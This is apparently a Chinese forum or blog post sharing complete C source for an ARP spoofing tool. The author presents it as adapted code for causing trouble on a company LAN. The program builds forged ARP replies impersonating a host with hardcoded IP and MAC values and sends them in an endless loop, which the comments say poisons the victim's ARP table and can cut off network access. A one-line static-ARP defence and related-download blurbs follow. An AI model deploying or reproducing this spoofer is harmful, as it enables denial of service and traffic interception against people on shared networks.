由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
void die(char *str) {
fprintf(stderr,"%s\n", str);
exit(1);
}
typedef struct {
//以太网首部
u_char targ_hw_addr[6]; //广播mac地址
u_char src_hw_addr[6]; //源mac地址
u_short frame_type; //帧类型
//28字节arp请求 应答
u_short hw_type; //硬件类型
u_short prot_type; //协议类型
u_char hw_addr_size; //硬件地址长度
u_char prot_addr_size; //协议地址长度
u_short op; //操作类型
u_char sndr_hw_addr[6]; //发送端源mac地址
u_char sndr_ip_addr[4]; //发送端源ip地址
u_char rcpt_hw_addr[6]; //目的mac地址
u_char rcpt_ip_addr[4]; //目的ip地址
u_char padding[18];
} ARP_PACKET;
ARP_PACKET createPacket(char bro_hw[]) {
int size, j;
ARP_PACKET arppacket;
size = 42;
bzero(&arppacket, size);
//dec_hw 发给攻击目标的 ip mac 映射 被攻击者的arp映射表会被改掉 如果这个ip是被攻击者网关他就上不了网了
//xp下执行 例如: arp -s 192.168.0.4 00-14-78-81-47-7f 就可以绑定mac地址了。
char dec_hw[] = { 0x00, 0x1d, 0x7d, 0x45, 0x1c, 0x11 };//mac
char dec_ip[] = { 0xc0, 0xa8, 0x00, 0x04 };//192.168.0.4
//src_hw 假冒这个人 ip mac
char src_hw[] = { 0x00, 0x1d, 0x7d, 0x45, 0x1c, 0x11 };//mac
char src_ip[] = { 0xc0, 0xa8, 0x00, 0x04 }; //192.168.0.4
arppacket.op = htons(0x0002); //操作类型 OP_ARP_QUEST 1 OP_ARP_REQUEST 2
//----------------------------------------------------
//以太网首部
printf("1.广播mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.targ_hw_addr[j] = bro_hw[j];
}
printf("2.源mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.src_hw_addr[j] = src_hw[j];
}
printf("3.帧类型 ARP_FRAME_TYPE\r\n");
arppacket.frame_type = htons(0x0806);
//----------------------------------------------------
//28字节
printf("4.arp请求 应答\r\n");
arppacket.hw_type = htons(0x0001); //硬件类型
arppacket.prot_type = htons(0x0800); //协议类型
arppacket.hw_addr_size = 6; //硬件地址长度
arppacket.prot_addr_size = 4; //协议地址长度
printf("发送端源mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.sndr_hw_addr[j] = src_hw[j];
}
printf("目的mac地址\r\n");
for (j = 0; j < 6; j++) {
arppacket.rcpt_hw_addr[j] = dec_hw[j];
}
printf("发送端源ip地址\r\n");
for (j = 0; j < 4; j++) {
arppacket.sndr_ip_addr[j] = src_ip[j];
}
printf("目的ip地址\r\n");
for (j = 0; j < 4; j++) {
arppacket.rcpt_ip_addr[j] = dec_ip[j];
}
printf("padding\r\n");
bzero(arppacket.padding, 18);
printf("start send\r\n");
return arppacket;
}
int main(int argc, char * argv[]) {
int sock, size, bytes_send;
struct sockaddr sin;
strcpy(sin.sa_data, "eth2");
//bro_hw 攻击目标的mac地址
// char bro_hw[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };//所有
char bro_hw[] = { 0x00, 0x1D, 0x7D, 0xC9, 0x28, 0x31 };//
ARP_PACKET arppacket = createPacket(bro_hw);
// ARP_PACKET arppacket2 = createPacket(bro_hw2);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0) {
printf("create socket error!\r\n");
exit(1);
} else {
printf("create socket!\r\n");
}
while (1) {
bytes_send = sendto(sock, &arppacket, sizeof(arppacket), 0, &sin, sizeof(sin));
// bytes_send = sendto(sock, &arppacket2, sizeof(arppacket2), 0, &sin, sizeof(sin));
sleep(1);
}
printf("end send\r\n");
return 0;
}
防止arp攻击,绑定mac
在xp下用命令:arp -s 192.168.0.4 00-14-78-81-47-7f就可以绑定mac地址了。
分享到:
相关推荐
预防ARP攻击教程 帮助大家预防ARP攻击 简单有效
西山煤电集团公司企业OA系统已经进入了试运行阶段,在近半年的试运行过程中,企业OA系统有效...介绍了ARP攻击欺骗的原理以及一些实用性较强且操作简单的检测和抵御攻击的有效方法,以解决因ARP攻击而引发的网络安全问题。
局域网arp攻击检测器,挺好用的,操作简单,上次公司中永恒之蓝这东西就立下了汗马功劳
arp攻击简介及简易防护办法 基本能解决校园网内部网路限制的问题
简单说明ARP攻击的方式, 过程及预防........
利用MFC进行开发的一个小程序,可进行局域网内的ARP,简单易懂,适合想学习这方面的童鞋们
原来我实现的时候都写了一大堆,今天想到了最简单实现的方法,分享给大家
局域网用来防止arp攻击的 很有效 站用资源很小 使用很简单
自己做的,VB VC 通过winpcap抓包,检测ARP攻击 及其简单。
近来局域网里,流行着ARP攻击,本人深受其害,故在此推荐从网上找来的七种简易方法,助你抵御ARP欺骗攻击。
arp攻及技术包含了MAC-欺骗等技术,虽然较为简单,却是网络管理员必须掌握与解决的问题,在本文中给出了详细的描述
使用CAIN进行简单的ARP和DNS欺骗攻击.doc
很简单很简单很简单很简单很简单很简单很简单很简单很简单很简单
ARP协议详解 攻击原理简单攻击源码,附带源码及其说明
关于公司内网ARP攻击的说明,以及简单解决方法
一个应用简单的反arp攻击的绿色安全软件
一招简单而又有效的防 ARP 攻击的方法,希望能给各位带来帮助!
介绍ARP攻击防范,简单易学
利用python简单写一个子网内进行扫面和简单攻击的代码,可以展示具体的arp请求和应答帧格式,适合学习arp协议和python的初学者